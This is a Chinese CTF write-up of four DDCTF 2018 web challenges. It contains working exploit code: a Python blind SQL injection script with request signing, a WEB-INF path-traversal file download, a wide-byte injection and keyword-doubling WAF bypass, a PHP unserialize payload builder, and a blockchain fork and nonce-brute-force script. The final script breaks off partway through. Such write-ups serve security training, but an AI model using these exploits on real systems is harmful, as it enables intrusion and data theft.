DDCTF WEBwriteup

1.数据库的秘密

访问链接：http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php

 

加一个X-Forwarded-For：123.232.23.245

测试了下,看到的三个参数都是被过滤了的  暂时找不到注入点，翻一下源码

发现author被隐藏了，极有可能是注入点，被隐藏了不好测试，不要慌burpsuite可以帮到我们，在Proxy->Options中做如下操作：

我们可以看到多出来一个测试框，这个框对应的便是author参数，输入admin' and 1# 发现返回正确，足以确定是注入点，进行测试发现 出现union select 一起便会被狗拦截，看来只好用盲注了。再仔细看请求url，

http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php?sig=748581f83d9e830cc8c0eaffa16d15ea3f347af6&time=1528767547

会发现多了一个sig和time参数，这应该是由js生成的，找一下代码有个math.js和main.js

果然在代码最后可以发现time和sign的生成，并将代码改为如上图所示。就可以用execjs在python执行js代码算出time和sign加到url中，最后附上python代码

# -*- coding:utf-8 -*-
#written by python3.5
import requests
import execjs

tryStr = "DCTFQWERYUIOPASGHJKLZXVBN{}_qwertyuiopasdfghjklzxcvbnm1234567890_@-M"
headers = {
    "x-forwarded-for": "123.232.23.245",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
}


def tryFlag(source, payload):
    data = ""
    truePayload = "test' && if(ascii(substr(({query}), {strOffset},1)) = {aStr},1,0)#"
    for i in range(1, 40):
        index = 0
        while index <= len(tryStr):
            try:
                j = tryStr[index]

                strQuery = truePayload.format(
                    query=payload.format(spos=0), strOffset=i, aStr=str(ord(j)))
                obj = source.eval('obj')
                obj['author'] = strQuery
                print(obj)
                getStr = source.call("submitt", strQuery)
                url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/"
                url += getStr
                req = requests.post(url, data=obj, headers=headers)
                # print(req.text)
                if "time error" in req.text:
                    index -= 1
                if "sig error" in req.text:
                    index -= 1
                if "test" in req.text:
                    data += j
                    print("data: " + data)
                    break
                if j == 'M' and "test" not in req.text:
                    print(data)
                    return
                index += 1
            except Exception:
                pass


def main():
    payload1 = "select schema_name from information_schema.schemata limit {spos},1"
    payload2 = "select table_name from information_schema.tables where table_schema =0x6464637466 limit {spos},1"
    payload3 = "select column_name from information_schema.columns where table_name=0x6374665f6b657931 limit {spos},1"
    payload4 = "select secvalue from ctf_key1 limit {spos},1"
    with open("web1.js", "r") as f:
        source = f.read()
    source = execjs.compile(source)
    tryFlag(source, payload4)


if __name__ == '__main__':
    main()

2.专属链接

访问：http://116.85.48.102:5050/welcom/8acb825dsc139s4f1bsb16es14f7875f8f23   ，页面并没有什么值得注意对的地方，查看源码，发现以下几个可疑的地方：

第一：邮箱：[email protected]

第二：奇怪的base64字符串：ZmF2aWNvbi5pY28=  解码后：favicon.ico

第三：提示：<!--/flag/testflag/yourflag-->

我们先访问第二那个href，在里面发现这句话：you can only download .class .xml .ico .ks files，可以下载.class .xml等文件，那要怎么下载呢？目前还不知道，继续利用第三个提示。输入：如下图所示

很明显是个java写的后台，里面的错误信息爆出了一些类文件，最主要的是蓝色部分的flag控制文件，结合前面的可以下载.class 文件，思路便很晰：                    我们需要下载关于flag的相关.class文件，但我们还不知道有哪些文件、和文件的目录啊。不要慌（两种方法），一些老手看到这里便会轻易的知道一种文件泄露方式：

WEB-IN

第二种方法：专属链接？？访问：http://116.85.48.102:5050/login，可以看到这样一个平台，通过在github上搜索源码，可以找到源码，从而拿到文件

配置我们先尝试访问下配置文件：WEB-INF/web.xml,在第二个提示中修改base64编码字符串为WEB-INF/web.xml试一试，发现没有东西，那有可能是嵌套了目录的试一试../WEB-INF/web.xml和../../WEB-INF/web.xml：在../../WEB-INF/web.xml发现配置信息

分别将applicationContext.xml、上面蓝色部分的源码、com.didichuxing.ctf.listener.InitListener（../../WEB-IBF/classes/****）下载，将后两者者通过jd-gui进行反编译：

INITListener：

正好最近在学JAVA，大致看得懂代码：

1. 导入emails.txt(即提示一的那串字符串)
2. 消息认证算法HmacSha256和私钥“sdl welcome you”对email进行加密
3. 将加密后的email发送到/getflag/{email:xxx},会返回一个加了密的flag
4. 由于flag是用的RSA算法和sdl.k生成的私钥经行加密（一般来说，公钥是用来加密的，私钥用来解密的，在加解密文件时而在进行认证时，如：ssh 登陆服务器时用的时私钥加密，将加密后的字符串发向服务器，服务器用公钥进行验证，如果成功，则登陆成功），所以我们需要用公钥对其进行验证，验证后的结果便是flag

对email进行加密的代码(也可以通过网站：http://tool.oschina.net/encrypt  进行HmacSHA256加密)：

package caclEmail;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class CalcEmail {
	public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeyException{
		  String email = "[email protected]";
	      SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
	      Mac mac = Mac.getInstance("HmacSHA256");
	      mac.init(signingKey);
	      byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
	      System.out.println(byte2hex(e));
	      
		
	}
	public static String byte2hex(byte[] b)
	  {
	    StringBuilder hs = new StringBuilder();
	    for (int n = 0; (b != null) && (n < b.length); n++)
	    {
	      String stmp = Integer.toHexString(b[n] & 0xFF);
	      if (stmp.length() == 1) {
	        hs.append('0');
	      }
	      hs.append(stmp);
	    }
	    return hs.toString().toUpperCase();
	  }

}

获得加密后的字符串，在进行flag的解密：

package decode;

import java.io.FileInputStream;
import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;

public class Decode {

	public static void main(String[] args) throws KeyStoreException, NoSuchAlgorithmException, CertificateException, IOException, UnrecoverableKeyException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException  {
		String ksPath = "C:\\Users\\ycb\\Desktop\\DDCTF文件2018\\web2\\sdl.ks";
		String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
		String encodeFlag = "019312D7231329ADEB986C6F994D7148B74AF9282B515F80F58A88BCE863F8848600CA69C4BE8F0D3BE3486B4FB7445C15169085F1DFE4D4B8439EF3472B50DE22D6E09BCCBC56542541D0C8F148B658005C2DD89202AEBF765998C2FA6AA197E5F6277587E78498F7E0A111429D3E1BEE2F4DD17224C0599FFA2FC1EE69B2521EEB96859EEB3D65DA88FED274739B208A81AF6280CF233B2064C6DB513AB9D53B010A456B8073C8C950E29034628C957108E7173390FBB4665229A6A9949188C8A5D43AE7CDB6244F082EF90EB3D2E126764CF90DE716A2150652AE3C13C0B457BD76E9BF1F9936AD85474CEDB23472039B5EC3387EF4FB5D5E3BD0FA681CDE"; 
		KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
		FileInputStream inputStream = new FileInputStream(ksPath);
		keyStore.load(inputStream, p.toCharArray());
        Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
        System.out.println(key.getAlgorithm());
        Cipher cipher1 = Cipher.getInstance(key.getAlgorithm());
        Key pubKey = keyStore.getCertificate("www.didichuxing.com").getPublicKey();
        cipher1.init(Cipher.DECRYPT_MODE, pubKey);
        byte[] flag = cipher1.doFinal(hex2Byte(encodeFlag));
        System.out.println(new String(flag));
        
	}
	/*public static String byte2Hex(byte[] b) {
		StringBuilder hs = new StringBuilder();
		for (int n = 0; (b != null) && (n < b.length); n++) {
			String stmp = Integer.toHexString(b[n] & 0xFF);
			if (stmp.length() == 1)
				hs.append('0');
			hs.append(stmp);
		}
		return hs.toString().toUpperCase();
	}
	*/
	public static byte[] hex2Byte(String hexString) {
		if(hexString == null || hexString.equals("")) return null;
		hexString = hexString.toUpperCase();
		int length = hexString.length() / 2;
		byte[] d = new byte[length];
		int i;
		for(i = 0; i < length; i++) {
			int pos = i * 2;
			d[i] = (byte)(strToByte(hexString.charAt(pos)) << 4 | strToByte(hexString.charAt(pos+1)));
		}
		return d;
	}
	public static byte strToByte(char c) {
		return (byte) "0123456789ABCDEF".indexOf(c);
	}

}

得出答案：DDCTF{5218295657878818503}

3.注入的奥妙

访问：http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1

试一试在1后面添加个单引号，有过滤，先查看下源码

在源码中找到这样一段提示，访问，发现是big5编码，网上一搜发现是宽字节注入，寻找以5c结尾的汉字：苒

进行测试：发现会过滤union、select等关键字，试一试uniunionon 发现可以绕过，证明其waf写法应该是将关键字替换为空

得到如下信息：访问static/bootstrap/css/backup.css可以拿到源码备份，再通过post提交到/justtry/try便可拿到flag

看关键代码,很明显是个反序列化漏洞

<?php // Controller/Justtry.php public function try($serialize) { unserialize(urldecode($serialize), ["allowed_classes" => ["IndexHelperFlag", "IndexHelperSQL","IndexHelperTest"]]);
}
// Helper/Test.php
class Test
{
    public $user_uuid;
    public $fl;
    public function __destruct()
    {
        $this->getflag('ctfuser', $this->user_uuid);
    }
    public function getflag($m = 'ctfuser', $u = 'default')
    {
        //TODO: check username
        $user=array(
            'name' => $m,
            'id' => $u
        );
        //懒了直接输出给你们了
        echo 'DDCTF{'.$this->fl->get($user).'}';
    }
}
// Helper/Flag.php
class Flag
{
    public $sql;
    public function __construct()
    {
        $this->sql=new SQL();
    }
    public function get($user)
    {
        $tmp=$this->sql->FlagGet($user);
        if ($tmp['status']===1) {
            return $this->sql->FlagGet($user)['flag'];
        }
    }
}
// Helper/SQL.php
class SQL
{
    public $dbc;
    public $pdo;
}
?>

在unserialize结束后会自动调用__destruct()函数执行getflag()函数获得flag，而flag又是从FLAG类里面的__construct()函数里的SQL类获得，所以我们可以构造如下一个反序列漏洞利用脚本：

<?php namespace Index\Helper; class Test{ public $user_uuid; public $fl; } class Flag{ public $sql; } class SQL{ public $dbc; public $pdo; } $a = new Test(); $a->user_uuid = "4128462f-89bf-4542-b54f-e7335137041f";
$a->fl = new Flag();
$a->fl->sql = new SQL();
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));
echo "\n";

?>

这里需要注意的是入口中允许序列化的名字即Index\Helper\Test等，最后再提交序列化后的字符串：

4.mini blockchain

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import hashlib
import json
import rsa
import uuid
import os
from flask import Flask, session, redirect, url_for, escape, request

app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9ca5f959dd7e'


def FLAG():
    return 'Here is your flag: DDCTF{******************}'


def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()


def hash_reducer(x, y):
    return hash(hash(x) + hash(y))


def has_attrs(d, attrs):
    if type(d) != type({}):
        raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))


EMPTY_HASH = '0' * 64


def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)


def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith('L'):
        hexed = hexed[:-1]
    if hexed.startswith('0x'):
        hexed = hexed[2:]
    return hexed


def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey


bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()


def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')


def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])


def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo


def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash']
                              for utxo in tx['output']], EMPTY_HASH)
    ])


def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(
        id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx


def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])


def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''):
        raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128:
        raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash,
             'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block


def find_blockchain_tail():
    return max(session['blocks'].values(), key=lambda block: block['height'])


def calculate_utxo(blockchain_tail):
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block['hash'] != session['genesis_block_hash']:
        curr_block = session['blocks'][curr_block['prev']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block['transactions']:
            for input_utxo_id in tx['input']:
                del utxos[input_utxo_id]
            for utxo in tx['output']:
                utxos[utxo['id']] = utxo
    return utxos


def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
    for utxo in utxos.values():
        if utxo['addr'] not in balance:
            balance[utxo['addr']] = 0
        balance[utxo['addr']] += utxo['amount']
    return balance


def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
    except:
        return False


def append_block(block, difficulty=int('f' * 64, 16)):
    has_attrs(block, ['prev', 'nonce', 'transactions'])

    if type(block['prev']) == type(u''):
        block['prev'] = str(block['prev'])
    if type(block['nonce']) == type(u''):
        block['nonce'] = str(block['nonce'])
    if block['prev'] not in session['blocks']:
        raise Exception("unknown parent block")
    tail = session['blocks'][block['prev']]
    utxos = calculate_utxo(tail)

    if type(block['transactions']) != type([]):
        raise Exception('Please put a transaction array in the block')
    new_utxo_ids = set()
    for tx in block['transactions']:
        has_attrs(tx, ['input', 'output', 'signature'])

        for utxo in tx['output']:
            has_attrs(utxo, ['amount', 'addr', 'id'])
            if type(utxo['id']) == type(u''):
                utxo['id'] = str(utxo['id'])
            if type(utxo['addr']) == type(u''):
                utxo['addr'] = str(utxo['addr'])
            if type(utxo['id']) != type(''):
                raise Exception("unknown type of id of output utxo")
            if utxo['id'] in new_utxo_ids:
                raise Exception(
                    "output utxo of same id({}) already exists.".format(utxo['id']))
            new_utxo_ids.add(utxo['id'])
            if type(utxo['amount']) != type(1):
                raise Exception("unknown type of amount of output utxo")
            if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception( "invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception( "type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception( "lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type( u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception( "invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception( "Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input:
            raise Exception(
                "You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx['hash'] = hash_tx(tx)

    block = create_block(block['prev'], block['nonce'], block['transactions'])
    block_hash = int(block['hash'], 16)
    if block_hash > difficulty:
        raise Exception('Please provide a valid Proof-of-Work')
    block['height'] = tail['height'] + 1
    if len(session['blocks']) > 50:
        raise Exception(
            'The blockchain is too long. Use ./reset to reset the blockchain')
    if block['hash'] in session['blocks']:
        raise Exception('A same block is already in the blockchain')
    session['blocks'][block['hash']] = block
    session.modified = True


def init():
    if 'blocks' not in session:
        session['blocks'] = {}
        session['your_diamonds'] = 0

        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        # create DDCoins from nothing
        genesis_transaction = create_tx([], [total_currency_issued])
        genesis_block = create_block(
            EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
        session['genesis_block_hash'] = genesis_block['hash']
        genesis_block['height'] = 0
        session['blocks'][genesis_block['hash']] = genesis_block

        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued['id']], [
                                handout, reserved], bank_privkey)
        second_block = create_block(
            genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
        append_block(second_block)

        # Can you buy 2 diamonds using all DDCoins?
        third_block = create_block(second_block['hash'], 'a empty block', [])
        append_block(third_block)


def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail


@app.route(url_prefix + '/')
def homepage():
    announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + \
        session['genesis_block_hash']
    addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + \
        hacker_address + ', the shop\'s addr: ' + shop_address
    balance_info = 'Balance of all addresses: ' + json.dumps(balance)
    utxo_info = 'All utxos: ' + json.dumps(utxos)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return announcement + ('

\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))


@app.route(url_prefix + '/flag')
def getFlag():
    init()
    if session['your_diamonds'] >= 2:
        return FLAG()
    return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address


def find_enough_utxos(utxos, addr_from, amount):
    collected = []
    for utxo in utxos.values():
        if utxo['addr'] == addr_from:
            amount -= utxo['amount']
            collected.append(utxo['id'])
        if amount <= 0:
            return collected, -amount
    raise Exception('no enough DDCoins in ' + addr_from)


def transfer(utxos, addr_from, addr_to, amount, privkey):
    input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
    outputs = [create_output_utxo(addr_to, amount)]
    if the_change != 0:
        outputs.append(create_output_utxo(addr_from, the_change))
    return create_tx(input_utxo_ids, outputs, privkey)


@app.route(url_prefix + '/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
    balance, utxos, tail = get_balance_of_all()
    if balance[bank_address] == 0:
        return 'The bank has no money now.'
    try:
        address = str(address)
        addr_to_pubkey(address)  # to check if it is a valid address
        transferred = transfer(utxos, bank_address, address,
                               balance[bank_address], bank_privkey)
        new_block = create_block(
            tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
        append_block(new_block)
        return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
    except Exception, e:
        return 'ERROR: ' + str(e)


DIFFICULTY = int('00000' + 'f' * 59, 16)


@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)

    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session['your_diamonds'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(
            utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(
            tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
        append_block(new_block)
        msg += ' You receive a diamond.'
    return msg


# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix + '/reset')
def reset_blockchain():
    if 'blocks' in session:
        del session['blocks']
    if 'genesis_block_hash' in session:
        del session['genesis_block_hash']
    return 'reset.'


@app.route(url_prefix + '/source_code')
def show_source_code():
    source = open('serve.py', 'r')
    html = ''
    for line in source:
        html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(
            ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '
')
    source.close()
    return html


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

 

0x00前言

@app.route(url_prefix + '/')
def homepage():
    announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + \
        session['genesis_block_hash']
    addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + \
        hacker_address + ', the shop\'s addr: ' + shop_address
    balance_info = 'Balance of all addresses: ' + json.dumps(balance)
    utxo_info = 'All utxos: ' + json.dumps(utxos)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return announcement + ('

\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))

def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail

跟踪init（）

def init():
    if 'blocks' not in session:
        session['blocks'] = {}
        session['your_diamonds'] = 0

        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        # create DDCoins from nothing
        genesis_transaction = create_tx([], [total_currency_issued])
        genesis_block = create_block(
            EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
        session['genesis_block_hash'] = genesis_block['hash']
        genesis_block['height'] = 0
        session['blocks'][genesis_block['hash']] = genesis_block

        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued['id']], [
                                handout, reserved], bank_privkey)
        second_block = create_block(
            genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
        append_block(second_block)

        # Can you buy 2 diamonds using all DDCoins?
        third_block = create_block(second_block['hash'], 'a empty block', [])
        append_block(third_block)

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(
        id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx

生成每次交易transactions，再看append_block()

def append_block(block, difficulty=int('f' * 64, 16)):
    has_attrs(block, ['prev', 'nonce', 'transactions'])

    if type(block['prev']) == type(u''):
        block['prev'] = str(block['prev'])
    if type(block['nonce']) == type(u''):
        block['nonce'] = str(block['nonce'])
    if block['prev'] not in session['blocks']:
        raise Exception("unknown parent block")
    tail = session['blocks'][block['prev']]
    utxos = calculate_utxo(tail)

    if type(block['transactions']) != type([]):
        raise Exception('Please put a transaction array in the block')
    new_utxo_ids = set()
    for tx in block['transactions']:
        has_attrs(tx, ['input', 'output', 'signature'])

        for utxo in tx['output']:
            has_attrs(utxo, ['amount', 'addr', 'id'])
            if type(utxo['id']) == type(u''):
                utxo['id'] = str(utxo['id'])
            if type(utxo['addr']) == type(u''):
                utxo['addr'] = str(utxo['addr'])
            if type(utxo['id']) != type(''):
                raise Exception("unknown type of id of output utxo")
            if utxo['id'] in new_utxo_ids:
                raise Exception(
                    "output utxo of same id({}) already exists.".format(utxo['id']))
            new_utxo_ids.add(utxo['id'])
            if type(utxo['amount']) != type(1):
                raise Exception("unknown type of amount of output utxo")
            if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception( "invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception( "type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception( "lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type( u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception( "invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception( "Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input:
            raise Exception(
                "You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx['hash'] = hash_tx(tx)

    block = create_block(block['prev'], block['nonce'], block['transactions'])
    block_hash = int(block['hash'], 16)
    if block_hash > difficulty:
        raise Exception('Please provide a valid Proof-of-Work')
    block['height'] = tail['height'] + 1
    if len(session['blocks']) > 50:
        raise Exception(
            'The blockchain is too long. Use ./reset to reset the blockchain')
    if block['hash'] in session['blocks']:
        raise Exception('A same block is already in the blockchain')
    session['blocks'][block['hash']] = block
    session.modified = True

def burst(b, difficulty, msg=""):
    nonce = 0
    while nonce < 2**32:
        b['nonce'] = msg + str(nonce)
        b['hash'] = hash_block(b)
        block_hash = int(b['hash'], 16)
        if block_hash < difficulty:
            return b
        nonce += 1

@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)

    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session['your_diamonds'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(
            utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(
            tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
        append_block(new_block)
        msg += ' You receive a diamond.'
    return msg

# -*- coding:utf-8 -*-
# written by python2.7

import hashlib
import json
import uuid
import requests

EMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)
# 以下四个常量填写自己的
GENESIS_BLOCK_HASH = "7cb4baca51b2502163d58cc34babf9b5b826f6b68246270ee399e742e42ad759"
SHOP_ADDR = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735"
INPUT = "e2bbbda8-2880-4452-9a40-728248e773e0"
SIGNATURE = "ae84bcbd023e98273af351dbf9da620bbda6a90de7e0d80dee473b2b9ffd0a4dc395b8b533fe5e79f1c5d1519c772a70"
s = requests.Session()


def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()


def hash_reducer(x, y):
    return hash(hash(x) + hash(y))


def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])


def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])


def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash']
                              for utxo in tx['output']], EMPTY_HASH)
    ])

# 爆破区块


def burst(b, difficulty, msg=""):
    nonce = 0
    while nonce < 2**32:
        b['nonce'] = msg + str(nonce)
        b['hash'] = hash_block(b)
        block_hash = int(b['hash'], 16)
        if block_hash < difficulty:
            return b
        nonce += 1

# 获得空区块


def emptyBlock(prevHash, msg):
    block = {}
    block['prev'] = prevHash
    block['transactions'] = []
    return burst(block, DIFFICULTY, msg)

# 获得transactions


def getTrans():
    utxo = {'id': str(uuid.uuid4()), 'addr': SHOP_ADDR, 'amount': 1000000}
    utxo['hash'] = hash_utxo(utxo)
    tx = {'input': [INPUT], 'signature': [SIGNATURE], 'output': [utxo]}
    tx['hash'] = hash_tx(tx)
    return [tx]


def headers(session):
    headers = {
        "Host": "116.85.48.107:5000",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8",
        "Cookie": "session={}".format(session),
        "Connection": "close",
        "Content-Type": "application/json"
    }
    return headers


def myprint(b):
    return json.dumps(b)
